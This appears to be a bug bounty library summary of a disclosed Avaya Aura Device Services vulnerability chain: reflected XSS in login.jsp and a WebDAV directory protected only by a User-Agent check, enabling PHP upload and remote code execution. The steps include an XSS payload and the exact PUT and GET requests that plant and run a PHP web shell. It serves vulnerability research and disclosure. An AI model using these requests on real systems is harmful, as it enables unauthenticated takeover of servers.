# RCE in Avaya Aura Device Services

Avaya Aura Device Services had pre-auth reflected XSS in login.jsp and WebDAV /PhoneBackup/ gated only by User-Agent AVAYA, allowing PHP upload and RCE.

- Payout: Research
- Severity: critical
- Program: Avaya Aura Device Services
- Credited: Assetnote
- Disclosed: 2024-01-31
- Write-up quality: 6/10
- Original: https://www.assetnote.io/resources/research/rce-in-avaya-aura-device-services
- Library page: https://bugbountylibrary.com/r/blog%3Aassetnote-io-resources-research-rce-in-avaya-aura-device-services
- Tags: domain:web impact:rce kind:research platform:research sev:critical tech:php technique:default-creds technique:source-review vuln:auth-bypass vuln:file-upload vuln:rce vuln:xss

**Target:** Apache httpd WebDAV /PhoneBackup/ and admin.war login.jsp
**Root cause:** login.jsp echoes the 'error' query parameter into HTML without encoding; WebDAV /PhoneBackup/ is protected only by SetEnvIf User-Agent "AVAYA" and allows PHP execution.
**Steps:**
1. Extract installer: `./aads-8.0.0.0.268.bin --noexec --target /opt`
2. Decompile admin.war, find `public/login.jsp` echoing `request.getParameter("error")` into `<%=messageLabelVar%>`
3. Trigger XSS: `GET /admin/public/login.jsp?error=<script>alert(1)</script>` (or via `/acs/..;/admin/public/login.jsp`)
4. Read `/etc/httpd/conf.d/ssl.conf`: `Alias '/PhoneBackup/'` with `Require env Avaya_Phone` and `Dav On`
5. Read `/etc/httpd/conf/httpd.conf`: `SetEnvIf User-Agent "AVAYA" Avaya_Phone`
6. Upload shell: `PUT /PhoneBackup/x.php` with `User-Agent: AVAYA` and body `<?php system('id');`
7. Execute: `GET /PhoneBackup/x.php` with `User-Agent: AVAYA`
**How found:** Extracted the Makeself installer offline with --noexec, force-installed RPMs to reconstruct the filesystem, decompiled .war files and grepped .jsp for raw `<%=` output; then reviewed Apache config files to map how Java apps were exposed, spotting WebDAV and tracing the Avaya_Phone env var to its SetEnvIf definition.
**Exploitation:** Unauthenticated attacker sets User-Agent to AVAYA to satisfy the only access control on the WebDAV-enabled /PhoneBackup/ directory, PUTs a PHP file, then GETs it to execute commands as the apache user.
**Insight:** When access control is implemented via SetEnvIf on User-Agent, the header is fully attacker-controlled; also grep Apache conf.d for `Dav On` and `Require env` pairs, and check whether uploaded extensions execute in aliased directories.